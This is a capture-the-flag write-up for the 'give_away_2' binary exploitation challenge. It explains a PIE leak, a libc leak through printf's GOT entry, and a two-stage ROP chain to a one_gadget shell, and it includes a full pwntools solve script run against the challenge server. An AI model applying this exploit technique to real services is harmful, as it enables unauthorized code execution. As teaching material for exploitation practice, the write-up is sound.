Sharky CTF 2020 / Published

give_away_2

A PIE binary that leaks main to beat ASLR, then leaks libc via printf's GOT entry before ROP-ing into a one-gadget shell.

pwn

6 min read

Target
amd64, glibc 2.27
RELRO
Full
Canary
Not found
NX
Enabled
PIE
Enabled
Challenge brief

Make good use of this gracious give away.

Creator: Hackhim

give_away_2

libc-2.27.so

Finding the buffer overflow

As with most pwn challenges, let’s start off by checking what kind of binary we’re given.

vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ file give_away_2
give_away_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=5c93b7c4ff1a036cb291045d3ab76155d22ce1a6, not stripped

Okay, it’s just a 64 bit ELF binary. Let’s run it to get a better idea of what it does.

vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x560f72579864

Seems like it just prints a hex value and gets some input from us. Hmm, this is very similar to give_away_1. Perhaps we should also test if the input is vulnerable to buffer overflow?

vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ python -c 'print "A"*1024' | ./give_away_2
Give away: 0x55d1ba2a0864
Segmentation fault (core dumped)

Resolving the PIE base from main

Yup I guess this is vulnerable too. Let’s open up the binary in IDA and see what the hex value is.

Text
lea     rsi, main
lea     rdi, format     ; "Give away: %p\n"
mov     eax, 0
call    printf ; printf("Give away: %p\n", main);

Oh that’s perculiar, we’re given the address of main instead. Why would be possibly need that? This rings some bells. Let’s try checking what security features this binary has. We can do this with the checksec utility.

vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ checksec give_away_2
[*] '/vagrant/challenges/sharky/give_away_two/give_away_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Okay, that explains it. This is a Position Independent Executable (PIE). In the context of this challenge, it means that the address of main would be different every run (assuming ASLR is turned on). We can verify this by running the binary multiple times.

vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x55d3de27b864
asdf
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x559fd6f12864
asdf
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x55803ddf9864
asdf

Given that the binary leaks the address of main, PIE is not much of an issue for us since we can now calculate the (base) address that the binary is loaded at.

Text
base address = leaked main address - offset of main within the binary

Leaking libc for a one-gadget shell

As with give_away_1, we still need to get a shell on the system. Since this is a 64 bit ELF, there’s a nifty trick that we can use. Instead of calling system("/bin/sh"), we can use one_gadget to find a single gadget that can spawn a shell for us.

vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Each one_gadget has an entry condition. The solve script selects the second one, at libc offset 0x4f322, which requires [rsp+0x40] == NULL at gadget entry. The script does not establish that condition, so reaching the gadget alone does not guarantee a shell. These offsets are relative to libc’s base, which the main leak does not resolve. We can obtain a separate libc leak by reusing the printf call instruction in main, then continue to another call to vuln for the second input.

Text
.text:0000000000000872    lea     rsi, main
.text:0000000000000879    lea     rdi, format ; "Give away: %p\n"
.text:0000000000000880    mov     eax, 0
.text:0000000000000885    call    printf

Offset 0x885 identifies the call printf@plt instruction in main, not the printf implementation. Adding it to the executable base locates that call site. The first payload passes the address of printf’s Global Offset Table (GOT) slot in RDI. That slot lies in the executable and contains a pointer to printf in libc. printf treats the slot’s bytes as a format string; this prints bytes read from GOT memory rather than formatting the pointer with %p.

The call at executable offset 0x885 returns to 0x88a. Execution then reaches the call at 0x88f, which enters vuln at 0x841 for another input. All four offsets are relative to the executable base. Subtracting printf’s libc offset from the recovered pointer gives the separate libc base.

The script assumes that this call emits six usable pointer bytes, then appends two zero bytes. That length is a solve assumption: a NUL byte can stop the output early, and a percent byte can be interpreted as a format directive.

This chain also skips mov eax, 0 at executable offset 0x880. It does not explicitly set AL for the variadic-call convention. The supplied libc’s printf tests whether AL is zero, and the shown chain preserves the stack alignment needed by its register-save path. This is a property of this build, not a general rule for calling printf through ROP.

Building the two-stage ROP exploit

Okay so let’s summarize our plan of attack:

  1. Leak the address of main (given to us)
  2. Calculate binary base address
  3. Calculate the address of the call instruction at executable offset 0x885
  4. Send the first ropchain with the GOT slot address in RDI, then continue to vuln for another input
  5. Calculate libc base address based on leaked printf libc address
  6. Send the second ropchain to the selected one_gadget, whose entry condition remains unverified

The first chain uses the executable base to reach the printf call and return to another input. The second uses the recovered libc base to select the gadget.

Two leaks resolve the executable and libc in give_away_2The main pointer locates executable gadgets and the printf call at offset 0x885. The first payload passes printf's GOT slot as the format-string pointer. The call returns to 0x88a, then 0x88f calls vuln at 0x841 for another input. The recovered libc pointer locates the selected gadget.Executable imageELF_base = main_runtime − main_offsetlocates the gadget, GOT slot, and call siteinput 1paddingpop rdi; retprintf@GOTELF_base + 0x885GOT slot in executableprintf_runtime (libc pointer)RDI: slot addressformat-string pointerraw bytes read fromGOT memoryscript assumes 6 bytesExecutable continuation · offsets from ELF_base+0x885: call printf@pltcall site in mainreturn to +0x88a+0x88f: call vulntarget +0x841; reads input 2libc imagelibc_base = printf_runtime − printf_libc_offsetinput 2paddinglibc_base + 0x4f322Gadget also needs:[rsp+0x40] == NULLnot set by input 2The two bands use separate bases and are not drawn to scale.
Figure 1. The main leak resolves the executable. The first payload leaks libc and reaches vuln again for the second input.

All we need now is the padding. Let’s go for a more automated approach this time because why not? I’ve integrated it into the solve script below.

Python
#! /usr/bin/python2

import os
from pwn import *

HOST = 'sharkyctf.xyz'
PORT = 20335
BINARY = './give_away_2'

elf = context.binary = ELF(BINARY)
libc = ELF('./libc-2.27.so')

# Gadgets

libc.symbols['one_gadget'] = 0x4f322

'''
One Gadget
----------
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
'''

# Offsets

elf.symbols['main_printf'] = 0x885

'''
.text:0000000000000872    lea     rsi, main
.text:0000000000000879    lea     rdi, format ; "Give away: %p\n"
.text:0000000000000880    mov     eax, 0
.text:0000000000000885    call    printf
'''

# RIP Padding

p = process(BINARY)
p.sendline(cyclic(64, n=8))
p.wait()

core = p.corefile

p.close()
os.remove(core.file.name)

PAYLOAD_PADDING = cyclic_find(core.read(core.rsp, 8), n=8)

log.success('Found padding length: {}'.format(PAYLOAD_PADDING))

# Start connection

r = remote(HOST, PORT)

# Stage 1: Get main leak

main = int(r.recvline().split()[2][2:], 16)
log.info('Leaked main address: 0x{:x}'.format(main))

# Stage 2: Build Rop Chain (leak printf@libc)

elf.address = main - elf.symbols.main
log.info('Calculated base address: 0x{:x}'.format(elf.address))

rop = ROP(elf)
rop.main_printf(elf.got.printf)

log.success('Built ROP Chain (Leak printf@libc)')
log.success(rop.dump())

# Stage 3: Leak printf@libc

r.sendline(fit({ PAYLOAD_PADDING: rop.chain() }))
log.success('Sent payload')

libc_printf = u64(r.recvn(6) + '\x00\x00')  # Fix address width
log.info('Leaked printf@libc address: 0x{:x}'.format(libc_printf))


# Stage 4: Build ROP Chain (Call one_gadget)

libc.address = libc_printf - libc.symbols['printf']
log.info('Calculated libc base address : 0x{:x}'.format(libc.address))

rop1 = ROP([elf, libc])
rop1.one_gadget()

log.success('Built ROP Chain (Call one_gadget)')
log.success(rop1.dump())

# Stage 5: Pwn

r.sendline(fit({ PAYLOAD_PADDING: rop1.chain() }))

log.success('Sent payload')
log.progress('Spawning a shell...')

r.interactive()

Result

Flag: shkCTF{It's_time_to_get_down_to_business}